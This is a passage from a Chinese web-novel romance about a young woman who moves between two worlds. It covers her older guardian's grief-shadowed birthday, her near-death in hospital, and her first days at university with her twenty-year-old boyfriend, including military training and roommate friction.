沈明松无意扫过助理手腕上的还带着草莓装饰物的发圈,和手表搭在一起格格不入。 助理发现了他的视线,不自在地拉了下袖扣,便听见老板发问:“什么时候有女朋友了?” 他冷不防的问,助理一边惊讶一边回答:“沈总,我们谈了快有六年了。” 沈明松点点头:“挺多年了,打算什么时候结婚?” 助理不晓得他怎么突然好奇起手下的私生活,尴尬笑笑:“她还在念大一,等她毕业再看情况。” “这么小?”沈明松记得助力大学实习时就跟着自己,如今也有二十六岁。 说到这助理不好意思起来:“我俩是青梅竹马,她高一时就偷偷瞒着父母好上了。” 沈明松取下眼镜揉眼,他的尔尔今年也才二十一。 二十五年足够一个婴儿从牙牙学语到成年结婚,假设他已经结婚生子,也该有个她这么大的孩子了。 抱抱她亲亲她? 沈明松早已忘了上一次亲吻是什么心绪。 从道德上来讲,他不该去窥视年轻的生命。 ~ 宋尔雅没待满一个星期出仓了,总算刑满释放转回原本病房,虽然也还是需要留在医院继续治疗。 期间沈明松提过一次郑嘉明多次想来看望她,问她想不想见爸爸。 宋尔雅拒绝了,郑嘉明也就没能出现,想必沈明松安排有人阻拦他,怕他出现毁她心情。 她和郑嘉明的恩怨也不可能一笔勾销,她无法原谅。 后面沈明松可能忙于其他事情,也没出现。他的一位生活助理来一趟,给她弄医院的一些手续。 助理穿了一身黑,胳膊上系了白布,有些人去参加白事会这样做,宋尔雅望过去:“杨先生,是你家什么事了?” 助理低头看自己胳膊,立即把白布条立即扯下来,着冲她摇头:“没事。” 等他走后宋尔雅又扭头看王阿姨:“杨助理家里是不是有人去世了?” 王阿姨哪里知道那么多,让她好好歇着别操心那么多。 沈明松生日前一天,??x?朋友打电来话告诉东西都弄好后。 其实沈明松向来不弄这种生日仪式,合作商每年送来的礼物也是千篇一律,是她来了沈家以后才开始热闹。 用明奶奶的话来说,家里还是要有个孩子的,尤其是她性子活泼,一个人也能很闹腾起来,年年提醒他要大办,不知道的还以为是她在过生日。 今年她没有那个力气蹦达了,她连医院大门都出不了,只在当夜零点,她撑着困意拨通电话,过了好一会才被接通了。 “叔叔,生日快乐。” “尔尔,这都几点了还不睡觉。”沈明松明显就没睡,冷厉的声音夹杂着疲倦,估计是工作上的事情还没处理完。 “怎么一开口就那么凶?”宋尔雅立马就不开心了。 沈明松没有要和她多聊的意思,只是声音软和下来:“很晚了,快点睡觉去。” 宋尔雅瞬间就委屈了,她看别人小情侣之间都会卡点祝福唱生日歌,没卡到还会生气,怎么到了她就不一样了。 难道真是她太幼稚了? 她有些委屈:“你已经好几天没来看我了,你为什么不来看我,我很生气。” “对不起。”沈明松和她道歉。 他那边有些吵,好像还有人在念经文,应该是走了好一段路才彻底避开掉那些杂乱声音。 他声音更柔和一些:“明天叔叔就去看你好吗,尔尔,现在真的很晚了。” “好吧。”宋尔雅也不是什么无理取闹之人,挂了电话后便乖乖去睡了。 沈明松挂掉电话,元宝点燃的香灰味飘过来,他茫然无措在原地愣了许久,听身后道士诵经超度梵音。 他披着白麻布,却融在夜色中一般寂静。 有个道士走过来让他回去,法事还没做完。 第二天中午他才如约去了医院,洗过澡来的,身上干干净净没残留有味道。 宋尔雅注意到他眼里的红血丝,和眼下乌青,吃惊道:“叔叔你昨晚没睡吗?” 他很少会以这种憔悴模样出在在她眼前。 沈明松整理身上衣服,大背头放下来令他模样又显年轻几岁,额发下那双和明珠一样的眼睛装满心事。 宋尔雅嗅到他不对劲:“你今天不开心吗?” 沈明松垂着眼:“没有。” “你又说谎。” “话怎么这么多?”沈明松揉揉她脑袋,脸色十分地不好看,让人觉得他必须要赶紧睡一觉。 宋尔雅本来还想作妖一下的,看他这副模样便大发善心算了,让他去隔壁陪护房先休息。 沈明松站起来时宽厚的背微微塌下来一点,犹如脊梁骨被人抽取那般,看起来有些颓然。 人挨床没几分钟就进入深度睡眠,活似几天没睡过。 宋尔雅自己看了一个多小时的书,人还未醒,她溜到隔壁房间内默不作声地看着他睡觉。 男人紧闭双眼,眉眼都柔和多了,比平时卸下了很多锋利,她趴在床沿上仔细端详着这年老的皮囊,和年轻的他重叠在一起,也没觉得苍老多少。 就算皮囊老了,可她又不是只看外表的人,他已经是自己得了,就算老得掉牙也是她的。 这一觉沈明松睡了很久,醒来时一片漆黑。 整间房一丝灯光都没有,他没有第一时间去开灯,忍受着这无声寂静的环境,忽觉孤独无比,直到察觉到了另一道微弱的呼吸。 沈明松正坐起来,“啪嗒”一声,黑暗中亮起一团火焰。 宋尔雅点燃蜡烛插进蛋糕,在这朦朦光亮中小小地抱怨:“你怎么才醒呀,今天差点就要过去了。” 她拉过他手,把几寸大的蛋糕放在他掌心中,蜡烛火苗跳动,把她影子也印得俏皮。 黑暗中,两人的呼吸声交融在一起,彼此眼睛里都跳跃着烛火。 “我要给你唱歌了。”宋尔雅清清嗓子,正要拍手给他唱歌,沈明松把床边的灯打开了,屋内瞬间一片暖黄。 “等一下。”他把蛋糕还给她,愣神地老看了她好一会儿,然后拿出手机。 “你要录像?”宋尔雅疑惑地凑过去看他手机,还真是摄影模式。 宋芳也爱给她留影,遗物中就有很多自己从小大大的各种留影,导致她一对镜头就忍不住要摆姿势,幼儿园起就爱上台表演又唱又跳的。 如果不是身体缘故,或许她还能跑去当当明星呢。 沈明松又想到什么走出房门,没多久拿着一顶帽子回来。 宋尔雅摸摸自己头发刚长出来一点就被剃掉了,光溜溜得脑袋确实不好看。 沈明松给她戴上,又正了正,重新拿起手机录她。 想到着要被留影下来,她又摆出一个更好看的姿势,要是可以她还想化个妆,她的脸色不算很好,但现在已经十一点多了。 宋尔雅双手捧着小小而精致的蛋糕满脸认真。她是不尴尬自己唱歌跑调的事的,一会看着镜头,一会移过去看他的脸。 沈明松全程都在望她。 结束后宋尔雅笑容灿烂:“许愿。” 他还在看着她:“你说。” “嗯?我是让你许。”宋尔雅看蜡烛烧到一半,眼神催促他。 沈明松说:“叔叔把愿望送你了,你想要什么?” 以前他给她过生日也是这样的,让她有什么愿望就直说出来,对着蛋糕没用,对着他才是有求必应。 也是,沈明松怎么可能会对着块蛋糕许愿,要对,也是对菩萨。 “蜡烛要烧完了。”他提醒她。 用别人生日来许自己的愿望,如果非要许的话,宋尔雅希望明奶奶长命百岁、沈明松永远爱她,自己百病全消。 她才睁眼就听沈明松问:“许了什么?” “我好像有点贪心了。” “叔叔能够做到的就不算贪心。”沈明松露出笑容,仿佛无所不能的再次询问,“尔尔想要什么?” 这是要帮她实现的意思。 宋尔雅笑眯眯:“我不想住医院里了,想快点回家,我好久没见到奶奶了。” 沈明松轻轻吹灭烧到底部的蜡烛,缄默地看了她足足十几秒,才说:“这个不行,要听医生话。” 他实现不了这个,医生不批准。 宋尔雅咬咬唇,去取了朋友送过来的礼物盒子,有些重,她用两只手才搬得起来。 沈明松拿过去拎着也投来疑惑,什么礼物这么重。 他放到桌面拆开,里面矗立着一只纯金雕刻的大公鸡。 “……” 看见他呆住,宋尔雅非常认真望着他,“你还记不记得我曾说过要送你一只金鸡,你当时还不信,你看我没有食言吧。” 沈明松骤然抬起眼皮,眼底有触动,很快又沉下来,整个人被淹没进海里生锈了:“那么多年了,叔叔不记得了。” “记性这么差?”宋尔雅不满意他的回应,但她大度地原谅他了,要关爱老年人。 沈明松重新垂下眼睛不再看她。 因为看着她时会把他拉回到过去,让他恍惚以为再次见到那个叫宋瑶的少女。那时他也还年少,是宋瑶邻家哥哥,可以和她拌嘴。 相似的外貌,不同的身体共用着一个灵魂,她还是那个她,而他却早就时过境迁,物是人非。 他不能沉迷自己青春,太遥远了。 宋尔雅突然说:“那我换一个愿望,我希望哥哥你永远爱我。” “我永远爱你。”沈明松应承。 医生说要忌口的东西很多,宋尔雅就只吃了一小口蛋糕,刷完牙后从卫生间出来,沈明松背对着她把蛋糕都吃完了。 宋尔雅跑过去:“你又不吃甜,干嘛都吃了?” 沈明松嘴里还残留甜腻,抽出已经帮她擦掉脸上水珠:“帮你吃。” 宋尔雅瞅着他:“你还没告诉我,你今天为什么不开心呢?” 沈明松站起来,还以为他要说点什么心事呢,却是把她推进自己房间内:“怎么什么都要问到底,你该睡觉了。” “你为什么老叫我睡觉?” 宋尔雅缠着他,可他嘴巴上了锁一般,她怎么逗他都撬不开,又气又无能的爬回病床里,嘟囔着他真讨厌。 沈明松让人进来把病房全方面消毒后,自己也离开了。 宋尔雅讨厌睡觉,她都快要在病床上生根发芽了,可一躺上去困意就袭来,正要入睡时又听到急促的说话声。 有人抓住她的手:“能听见说话吗,握紧我的手,用力。” 而她连一根手指都动不了。 “病人心跳停止了!” “准备电击。” …… 胸腔被一下一下被按压刺激着,宋尔雅沉重的??x?眼皮动了动。 “病人还有生命特征。” ~ 宋尔雅没想过这次穿越会在抢救室醒过来。 她一睁眼全是正在抢救她的医生,如果不是被推回病房看到扑过来抱她的宋芳,她还以为自己没穿越。 据宋芳所说她摔倒后送往医院并未检查出毛病,却是一直昏迷不醒。后面她心跳脉搏都变得微弱,在失去生命特征后半分钟后才被抢救回来。 以前穿回自己身体时都只是待了很短的时间,而上一次她穿回去再过来的时间长了,脉搏微弱得把谢星移吓到了。 而这次连心跳都停止差点被医生宣告死亡 她穿走了,真正的宋瑶也早就不存在,所以这具身体也会跟着死去,然后腐烂。 这么看来她岂不是在哪个世界都很危险?! 随时会死? 宋尔雅无法控制自己穿越时长损失当某一天她穿回去太久没穿过来,宋瑶的身体就会慢慢死去,然后被送去火化场烧没了,她是不是就穿不过来了? “凭什么这样对我!”她尖叫,心里直骂老天。 “医院呢,小声一点!”宋芳过来捂她嘴巴。 她闹这一出把所有人都吓得不轻,自己也被那些猜想吓得手脚冰凉,宋尔雅眼泪又要出来了:“我不要死。” 宋芳搂着她抚摸她后背:“已经没事了,医生说你目前已无大碍,等会就可以出院了。” “哥哥呢?”宋尔雅转着脑袋去找沈明松,他正坐在另一张空病房出神地望着她。 宋芳起身说要去办理出院手续离开病房,他才走过来坐上了宋芳刚刚坐的床沿一言不发。 他眼下发青,宋芳说他这些天都在医院守着她,没怎么睡过。 两个世界的沈明松都被她折腾得不轻。 宋尔雅摇摇他胳膊,他抿紧的唇松了松:“你吓到我了。” “对不起。”宋尔雅很愧疚。 沈明松抬手摸摸她的脸上温度,宋尔雅歪着头枕他手掌中。 过了许久,他神色才恢复正常,双手捧住她脸用力揉了揉,轻轻叹气:“宋瑶,你怎么让人操心呢,真够坏的。” 宋尔雅茫然:“我坏?”她这次什么也没干,也不是故意装死吓人的。 “坏得要命。”沈明松盖章定论。 他看着小姑娘长大的,又是那么喜欢她,以前当妹妹来保护,现在更是想捧手心上。 然而宝贝的东西都易碎,当她被推进抢救室时,他心慌得特别厉害,前所未有的恐惧蔓延全身。 她怎么总令他操不完心。 爱情里夹着多年相伴的亲情,不知什么时候起,她早就是他生命中不可或缺的一部分。 “你是我第一个喜欢的女生。” 宋尔雅暮然提高声量:“什么第一个,你还想要第二个?” “……别打岔。”气氛给她破坏了沈明松说不下去,还有点被她气笑。 宋尔雅还不依不饶起来,双手扣住他肩膀摇晃:“没有什么第一个,只能是唯一一个。” 沈明松笑,“这么霸道?” “不准你喜欢第二第三个。”宋尔雅一直隐藏着的对他的占有欲崭露头角,“哪怕是我死了,你也不可以喜欢别人。” “不要讲这种话。”沈明松听不得“死”这个字。 宋尔雅不摇晃他的,改为抱,双手搂着他脖子趴他肩膀上,哼哼唧唧地用脸蹭蹭他:“你根本不知道我有多喜欢你。” 这句话化成一滩水,顺着血管在沈明松身体里嚣张流蹿,最后汇集在心脏。 真够肉麻的,所以心也麻麻的。 …… 才出院沈明松就拉着她打车前往更大的三甲医院,要医生再次给她做个全身检查。 依旧没检查出什么问题,皆大欢喜,他才算放心下来,这段时间段子阳忙疯了,催了又催,把他催回去了。 宋尔雅目送他走进机场的背影,遗憾这个暑假没能和他好好玩。 之后郑嘉明也不敢来出现了,连宋芳气势汹汹去找他算账时都想躲着做缩头乌龟。 虽不是他推的人,却也是在他拉扯下出的事,如果妹妹真的就这样摔死了,宋芳是不会轻易放过他的,告也要把他告进大牢里。 宋尔雅碰了一手好瓷,因为对象是她爹,她没也什么好愧疚的。只要他以后别在来纠缠就谢天谢地了。 可能误以为她有什么疾病,机构那边以不合适为由辞退,工资都不够付医药费的。 宋尔雅还愁一件事,八月中旬了,二十岁的沈明松也要过生日,这次她可没有那么多钱定制金鸡。 人怎么可以又富又穷的。 ~ 九月开学季,海都下了场凉爽秋雨。 沈明松生日在开学前一天,宋尔雅提前独自前来海都,拖着巨大行李箱走下火车,外面的雨已经停了,有凉风吹来,潮湿的雨后空气冲散了一些车里汗臭,人总算活过来了。 宋芳本来想请假送她来的,被她拒绝了,开个学而已她自己能搞定的。 她随着人流往车站外面走,特意找了个显眼的位置,沈明松电话那头让她出站别乱动,他会来接她。 丸子头被撞得散开了,长发披散下来热得脖子泛红,宋芳劝说几次让她剪短一些,她都没同意。 宋尔雅宁愿热一点,也不要失去宝贵头发。 在口袋里摸出新一根皮筋高抬双手准备将头发重新扎上去时,行李却被来来往往的路人撞倒了,有两个男生帮她捡来了回来。 “谢谢你们。” “不用谢,你也大一开学的学生吗?你哪个学校的?”两个男生热切地看着她。 “T大。” “好巧,我们也是,要不要一起打车过去?” 大学生是最好辨认的,带着一堆行李,年轻脸上带着些微傻气,和对新城市的陌生,两男生解释说想找几个人凑数分摊车费搭计程车去学校。 宋尔雅拒绝了,两人还是围住她:“行李太多,公交车不好挤,不如搭车去,我们还能帮你搬一下行李。” 就在这时,有人一把扯开最跟前的一个男生:“小子,坑蒙拐骗你最好找别人。” “我们没……”两人声音在看清来人后弱了下去。 沈明松穿着一件无袖上衣,露着粗壮胳膊,高大的体格一看就不好惹。 两男生对视一眼后就走了。 沈明松用手背蹭蹭宋尔雅脸蛋:“不是说了不要和陌生人搭话?被人贩子抓走了怎么办。” “他们不像啊。” “坏人不会在自己脑门写坏蛋。”沈明松拎起她行李袋,另一手来牵着她走到外面一辆车面前把她塞副驾驶里。 车内早就开了空调,凉意瞬间扑面而来,宋尔雅转着脑袋看了一圈,又去看沈明松:“哥哥,你什么时候买车了?” 沈明松没应,关上车门后他扯过她手中帕子,给她擦了一把额头上汗水:“以前不是哭着说只坐飞机,这次怎么坐火车了?” 深市到海都的火车,需要二十多小时车程,沈明松给她订了后一天的飞机票,还没来得及和她说,谁知她提前一天就跑上车了才晓得给他打电话报备。 小姑娘在火车上睡了一夜,整个人憔悴了几分。 宋尔雅嘟嘟囔囔:“你怎么那么久还记得我说了什么,还有我没有哭。” 沈明松擦干净她脸后,盯着她一会儿后,手伸了过来。 宋尔雅衣服被汗水湿透,觉得自己身上有汗臭,往一边躲开。 沈明松抱了个空,双眼疑惑。 宋尔雅说:“我先去酒店开个房吧。” “嗯。”沈明松发动车子,大脑迟了一秒才宕机,不可置信地再次扭头看她,喉结滚动一下,“你说什么?” “去酒店开房。” 沈明松眉头拢在一起,匪夷所思:“我和你,去开房?” 宋尔雅回味过来,她和另一个时空的沈明松生活那么多年,早就没有边界感,也不会往那方面想去,可二十多岁的他,是个愣头青啊。 她说这话不是勾他是什么? 宋尔雅不承认是自己表达问题,把锅甩他身上:“我是说想去开房洗个澡,身上好多细菌。”接着又补上,“哥哥,你思想不可以这样龌龊的。” 沈明松百口莫辩,脸部一阵抽搐:“下次说清楚一点。” 他没脸带着小女朋友去酒店开房,直接开车回家。 他在海都的第一套房子算不得大,明珠把屋内弄得很温馨,随处都有白蕾丝的沙发套、桌布、冰箱防尘布。 嗯,很有年代特色了。 空着的??x?客房也装修得像个女生房间,明珠眉目温柔看着宋尔雅:“那间房是阿姨特意弄的,想着你们姐妹什么时候来家里玩时可以住。” 宋尔雅有些吃惊。 明珠的气色可比以前太多了,看着年轻好几岁,碎花裙子下的假肢是按照身高比列来定制的,明珠穿上去,比宋尔雅还要高一截。怪不得沈明松会有一米九的大高个,也许他父亲也很高。 今天就是沈明松生日,明珠下厨做了一桌好吃的,她能够行走后,切着菜也会哼着歌。 宋尔雅洗完澡后出来帮忙,已经没时间去外面订蛋糕了,不过他们都不爱用蛋糕过生日,没有也行。 三人吃饭时都不太说话,宋尔雅祝哥哥生日快乐后往杯子里倒饮料,明珠给她夹了个鸡腿,她才吃完,沈明松抽出纸巾给她擦了嘴角沾到的油。 宋尔雅抬眼去看明珠,她没什么特别表情,好似已经习惯了他们这样的相处状态。 吃完饭后明珠让儿子去洗碗,她还要和宋尔雅说说话,拉着她进自己房间和她说上学的趣事。 明珠目前在学珠宝设计,她把自己平时设计的作品集来给她看。 宋尔雅一眼就喜欢其中一幅,明珠摸摸宋尔雅的脑袋:“阿姨就知道你会喜欢这个。” 说着她拉开抽屉拿出一个丝绒面盒子,里面就放这已经做成实物的项链,素雅清新,这是明珠拿去参赛获过奖的,主办已经买下版权。 明珠给她戴上,当她入学礼物。 宋尔雅照了照镜子:“哥哥过生日,阿姨送我礼物?” 明珠笑:“那你哥也用不上这些。” 她的作品明显专给女生的设计的,无法想象到沈明松戴上的场景。 “怪只怪阿姨生的是个男生。”明珠搂着她,或许在想念自己那个未出的女儿,眼眸下藏着难过,她在宋尔雅身上找到许多安慰。 宋尔雅则是靠着她想念明奶奶,衰老和死亡不可逃避,那么可不可以慢点来。 她和明珠叙旧到了晚上八点,明珠说她成年大学明天还有早课,也让她早点睡。 她从明珠房间出来后,又蹑手蹑脚地溜进沈明松房间。 他还未睡,睡衣整齐穿好坐在书桌前背对着她。 他刚洗完澡不久,发梢还坠着水滴,宋尔雅蹑手蹑脚地走过去环住他脖子,整个人趴他后背上,轻轻吻了一下他的后颈。 沈明松浑身一颤,丢下手中的笔,转过身道:“怎么又让抱了。” 宋尔雅用脸蹭他脑袋,说:“因为我洗过澡了身上很香,很迷人。” 沈明松总是能被她语出惊人,看到她脖颈上的项链:“我妈给的?” 她点头:“你说阿姨是不是猜到我们的事了?” “不用猜。”沈明松轻笑,眼睛暖洋洋的,“我妈让我不要欺负你。” “你还敢欺负我?”宋尔雅在他房间没找到其他凳子,干脆坐他腿上。 沈明松瞳孔骤缩,整个人被烫到了似的震惊,用手推她。 她一动不动:“我不可以坐男朋友腿上吗?” “……”沈明松还能说什么。 宋尔雅舔舔嘴唇,心想什么时候她也能如此顺心得手亲近另一个时空的他就好了。 她侧着身子靠他胸膛上:“我还没有给哥哥生日礼物呢。” 沈明松整个人绷得厉害,大腿僵硬,又不舍得把人推走,只目光灼灼望着她,都要把人烫出洞来了:“什么礼物?” 宋尔雅说:“你猜。” “不猜。” 他声音变得低哑,呼吸加重:“又想使什么坏?嗯?” 究竟是性子太过坦率鲁莽,还是没把他当正常男人,就这么明目张胆坐他腿上。 又或者,礼物是她? 沈明松抬手给了自己一巴掌。 宋尔雅一愣:“你打自己做什么?” “本来想打你的。”沈明松牙根痒痒,接着他又问:“礼物呢?” 宋尔雅坐在他怀里,两只手握成拳头,让他选:“选错了就没有了哦。” 沈明松垂眸认真看了许久,选了左边的。 “恭喜你,猜中了。”她一摊开手,掌心躺了一枚古币样式的袖扣。 沈明松去掰开她右手,另一枚就在那里。这样的礼物对于她来说是一笔不低的花销,比得过学费了。 沈明松现在穿得是短袖睡衣,无法立马戴上,他把礼物放进盒子里收好,忍不住双手环抱怀里香软的小女友:“谢谢你,我很喜欢。” 宋尔雅心想,哪怕自己送个蛋,他也得喜欢不是? 沈明松高挺的鼻梁从脸蛋蹭到她颈侧,她身上的香味直钻鼻腔,他呼吸不由加重,一时失神嗅了又嗅。 果真很香,令人上瘾一般,沈明松都快要怀疑她用了什么东西。 温热的气息喷在脖子上痒痒的,宋尔雅还没推开他就被抱起来放到一边去,沈明松双腿交叠:“不晚了,回去睡觉吧。” 宋尔雅视线移到桌面时钟上,才九点不到,又顺带看到那个相框,里面装的是陶冬冬给她拍的那张照片。 沈明松站起来推着她出房门:“明天还要早起去报道,去睡吧。” 关门前,他又看一眼明珠紧闭的房门,捏着她下巴抬起来,微微弯腰在她脸蛋亲了一下。 宋尔雅回到自己房间,收拾了下东西,上床睡觉去了。 沈明松辗转难眠,女生身体柔软的触感似乎还残留在怀里。 他抬起手,又给了自己一耳光。 第54章 第 54 章 大学 宋尔雅生平第一次念大学, 难掩兴奋,一路上趴着车窗外四处看。 来自五湖四海报道的学生特别多,有独自来的也有家长送的, 肩上抗着行李袋手上拎着水桶,熙熙攘攘地往报道处挤。 她两手空空,行李都被沈明松拎着, 走前面领着她去找接待新生的帐篷。 队伍很长很长,排队搞了快半个小时才登记好。 负责登记的是大二学姐学长, 抬头一看到宋尔雅眼睛都亮了, 顺便给给她发了所在的社团招聘传单,提前拉人头。 宋尔雅微笑:“谢谢学姐, 我会考虑的。” 等她离开后, 议论声大起来。 “刚刚那个小学妹, 长得也太好看了吧, 绝对是新生中数一数二的美貌。” “宋瑶,同声传译专业, 你们外语系果然美女众多。” “老许,你去哪里?” “啧, 那个色鬼除了去勾搭小学妹还能干什么。” …… 沈明松拿着接待处给的宿舍钥匙和一些文件去行政大楼盖章, 那边人更多。 他让宋尔雅在阴凉地方看行李, 还买了份雪糕给她边吃边等。 梧桐树下树影婆娑,阳光细碎, 她往那儿一站就很招眼。有热心学长上来问她宿舍在哪,需不需要帮忙。 宋尔雅都礼貌拒绝, 也还有不死心地学长站在原地不肯走,说她那么多行李自己肯定搬不了。 盖好章的沈明松大步流星冲过来对人冷脸:“一边去。” 学长看着他把小学妹行李全包揽了,心说这厮下手挺快的, 讪讪走了,可还是忍不住又回头看小学妹几眼。 沈明松:“说了几次了,不要和陌生人说话,你还冲他们笑?” 宋尔雅也冲他笑:“都是一个学校。” “你以为大学就没坏人了?不长记性!” 宋尔雅不置可否,伸手要分担一下行李,沈明松视而不见往前头迈步:“走了。” 她只好跟后头看他大包小包,捧着雪糕感慨有些人就是有牛劲,都不用挥鞭子就干起来了。 由于是开学,不少男生忙着给学妹们提行李,女生宿舍楼在这几天都不限制男生进去。 沈明松一口气给她扛到了四楼去,开学那么多鸡零狗碎的事全都是他弄好的,半天下来宋尔雅连汗都没怎么出。 沈明松粗略看一眼她宿舍门牌号后,就立马离开女生宿舍了,让她整理行李后再打电话给他一起去吃饭。 学校宿舍是四人间,上床下桌,看起来有些年代了,铁皮衣柜门掉漆严重。和优美的校园环境相比,宿舍简直可以写一篇陋室铭了。 其他舍友早来一天都安排好了,留了角落的床位给她。 室友在她进来后才和宋尔雅打招呼,一个叫余圆,一个是李文喜,还有一个在床上躺着没吭声。 宋尔雅冲他们笑:“你们好,我是宋瑶。” 几人互报了一下家乡,片刻功夫就聊到了一起,只有李文喜一个是和她同专业的。 一直睡觉的那个女生突然从床上爬下来,敷着面膜去厕所水池洗脸。 余圆赶忙让开路,尴尬笑了一下:“她??x?心情不太好,觉得我们宿舍太烂了。” 宋尔雅表示赞同,她非常不适应和陌生人住在一块,而且还是这种环境。 李文喜说:“不过还是比我高中时住得好多了,你们根本无法想像一个宿舍住十六个人的恐怖。” 宋尔雅震惊,那确实很恐怖了。 余圆附和:“而且住学校外面应该很贵吧,海都物价真是太贵了。” 敷面膜的女生阳台外洗脸回来,扫了这边一眼:“学校规定大一新生只能住校,除非有特殊情况,我家本来在学校外买了套房,看来只能等到大二才能住了。” 李文喜说:“你家好有钱。” 女生神色有些倨傲,没有搭理李文喜,后面接触下来发现,她也不太爱搭理其他人。 李文喜撇撇嘴,去干自己的事。 宋尔雅到阳台给宋芳打了电话后回来才整理东西,发现面膜女生时不时看她一下。 到了晚上宋尔雅才知道女生叫王诗雨,家就在本地。 新生报道结束,学校发迷彩服下来说要军训整整一个月。 宋尔雅简直要晕倒了,她这人最怕运动,何况要在太阳底下暴晒一个月,这不要人命吗? 早上她还可以哄着自己,到了炙热的中午她只想把自己埋进土里求老天下暴雨。 几天下来她都蔫吧成干裂黄土中绝望的枯草,连沈明松来找她,她都无精打采的。 他已经大三了,不经常在学校,和段子阳的公司正慢慢做大,接的工程越来越多,很多时候要去工地里看情况,晒得不比她少。 方队解散后宋尔雅低头揉着眼睛走出。 “怎么哭了?”沈明松见她慌了一瞬,摘掉帽子看到她两只眼睛又红又湿,“谁欺负你了?” 宋尔雅不是在哭,是站军姿时教官连根手指都不准他们动,汗水流到她眼睛里被熏的,皮肤也被晒得火辣辣的疼。 她好一通抱怨。 沈明松推推她脑袋:“受不了不会装晕一下。” “装了,次数太多教官都不信我了。”女生一晕,队伍里的男生就争先恐后抢着要把人送医务室,自己也好趁机躲懒,教官又不是傻子,怎么可能每次都信。 沈明松失笑,骂了一句没出息,领着她去吃晚饭。 此时的食堂被一群军训服的新生占据人满为患,蚊子都挤不进去,他们去了学校外面的一家大型商场里。 沈明松吃东西很快,饕餮一样干掉一碗凉面,然后靠在座椅上看着她吃。 宋尔雅才吃了两口,看着他空空的碗,差点怀疑服务员没给他上,她把自己吃不完的分给他:“你慢点,你这样盯着我都不好意思了。” 纵使她的吃相挑不出毛病来。 “你还会有不好意思的时候?”沈明松故作惊讶,但还是放慢了许多去吃她分出来的半份面,快吃完问她还要吗。 宋尔雅说吃饱了,出店门后沈明松还是去隔壁给她买了份鸡蛋仔,他自己不吃。 “我们不回去吗?”宋尔雅看他按了上楼的电梯。 三楼大多是护肤品专柜,沈明松不懂这些女孩子用的雪花膏,但段子阳会给他女朋友买,他留意一下就记住牌子名称了。 货架上琳琅满目,不是每一瓶都叫雪花膏,有养颜膏,还有叫珍珠粉,美白霜什么的,他看一眼宋尔雅的脸,美白霜应该是用不上。 沈明松抿唇,叫来专柜小姐来推荐。 专柜小姐一看男人身边还穿着军训服的小女友,脸和脖子都有些晒伤,顿时就懂了,给推荐了防晒用品。 她推什么沈明松都说要,宋尔雅忙阻止专柜小姐推销下去,不然她连化妆品都推,这么热的天可不好化妆。 最后结账时还是一笔不小的花费,宋尔雅看沈明松眼都不眨地付了。 哪怕少时最穷的日子里,他花钱一直都很爽快,不会去纠结价格只在意能买到什么。 宋尔雅是跟在他身边之后就没为钱财的事情操心过,她还是穿成宋瑶之后才过上穷苦日子的,后知后觉地问:“哥哥,我是不是花了你太多钱了?” 毕竟他现在才二十岁,应该没有多少钱吧。 沈明松哼笑:“没关系,谁叫你把哥哥迷得鬼迷心窍呢。” 宋尔雅伸出胳膊:“你摸摸我手臂。” 沈明松照做。 “摸到了吗?” “什么?” 宋尔雅颤了颤肩膀:“鸡皮疙瘩呀,你肉麻死了。” 她个撒娇精好意思说他肉麻? 沈明松气得要来掐她脸:“不喜欢,那我给别人花去。” “那不行。”宋尔雅眉毛都竖起来了。 出了商城,天空已是黄昏的暗红,大地还残留着中午的燥热。她成了软脚虾耍赖不肯走路了,要人背。 大街上人来人往,没又哪一对情侣要人背着走的。沈明松站得笔直,宋尔雅勾着他脖子:“背我背我,我真的好累哦。” 沈明松:“就没见过你这么爱撒娇的。” 宋尔雅哄道:“背嘛,哥哥最好了。” 一句话,成功让沈明松把她从商城背回学校里。 期间她还蹬鼻子上脸:“我是不是很重?” “像一袋水泥。” 宋尔雅下巴搁他肩头上,闭着眼睛:“水泥好困哦,水泥想要睡一会。” 不知道睡了多久,她醒来已经在女生宿舍楼下了。 沈明松晃醒她让她赶紧上楼洗澡,不然时间晚了澡堂没热水。 宋尔雅尖叫一声从他背上跳下来,赶紧往楼上冲。 沈明松都没喊住她。 澡堂一过八点热水就开始供不上来,花洒断断续续地出水很折磨人,有时干脆停了,也不管人一身泡沫。 她一进宿舍,室友就在吵架。 原因是王诗雨霸占着宿舍唯一电话讲了将近一个小时,李文喜没耐心等了。 “我说你,这电话不是你一个人的吧?” 王诗雨捂着话筒翻了个白眼:“那也不是你的,又没用花你的钱,你管我?” 宿舍气氛很沉重,李文喜脸色非常不好看。 “用我的吧。”宋尔雅怕他们打起来,把自己手机给李文喜,“我先去洗澡了。” 她去洗完澡又回宿舍阳台外洗衣服,王诗雨还在煲电话,李文喜已经打完了,走出来感谢她,还帮她拧衣服。 李文喜抱怨:“真是倒霉,和个大小姐住一起了。” 宋尔雅没接话,陌生人住在一起总会有矛盾的。她把衣服挂上去晾好走进室内一看,王诗雨居然在拆她桌面防晒霜的包装盒。 宋尔雅顿时生气了走过去:“你干嘛?” 王诗雨手缩了回去,一点心虚都没有,表情还有些不屑:“我今天看到一个男的背着你回来的。” 宋尔雅说:“哦。” 她擦擦手坐位置上,把拆开一半的盒子整理好,脸色不好看。这人怎么可以随便动别人东西。 王诗雨抱着胳膊笑:“这些都是那男的送你的吧,真行呀,这才开学几天就有男人为你花钱了,可都不便宜。” 宋尔雅遇上大多人,年轻女生是最为友好的一个群体,却也难免会遇上不好相处的。 她不懂王诗雨对自己和其他室友的优越感从何而来,才认识多久就从轻蔑到鄙夷,她皱眉:“你是不是暗恋我?” 王诗雨大惊失色:“胡说什么?” 宋尔雅比她慌张道:“你那么关注我,我有些害怕,你不要搞我啊,我不喜欢女生的啊。” 李文喜“噗嗤”一声笑出来了。 王诗雨被她恶心到,骂了句“神经病”,有些生气地回自己位置上了。 余圆是最晚回来的,什么也没看到,以为大家相安无事,心情好好地和她们聊天,聊到梦想。 余圆医学生自然想当医生,李文喜想进大企业当电视剧里的女白领,她问宋尔雅:“你呢,宋瑶你想做什么?” 宋尔雅想了想:“我想活着。” “啊?” “人得先活着,才能有梦想。” 第二天军训的时候,宋尔雅又想死了。 真的太晒了太歹毒了! 光是维持军姿就很吃力了,还要不停练下蹲,这个动作使得脚掌特别疼。 偏偏她还在队伍前头,有点小动作立马就被发现。 学校给发了冰块让学生会分到各帐篷里给学生休息时消消暑,但也扛不住酷暑。 有好心的学姐学长送来水,也有缺德捧着半个西瓜看着新生苦不堪言的惨状幸灾乐祸。 沈明松找到外语学院的方队,乌泱泱人群中找了好久才看到自己小女友。 她没了往日那股神采飞扬,垂头丧气的快要哭了。 沈明松怀疑他这时站她面前,她得求着要背要抱,会撒娇得很。 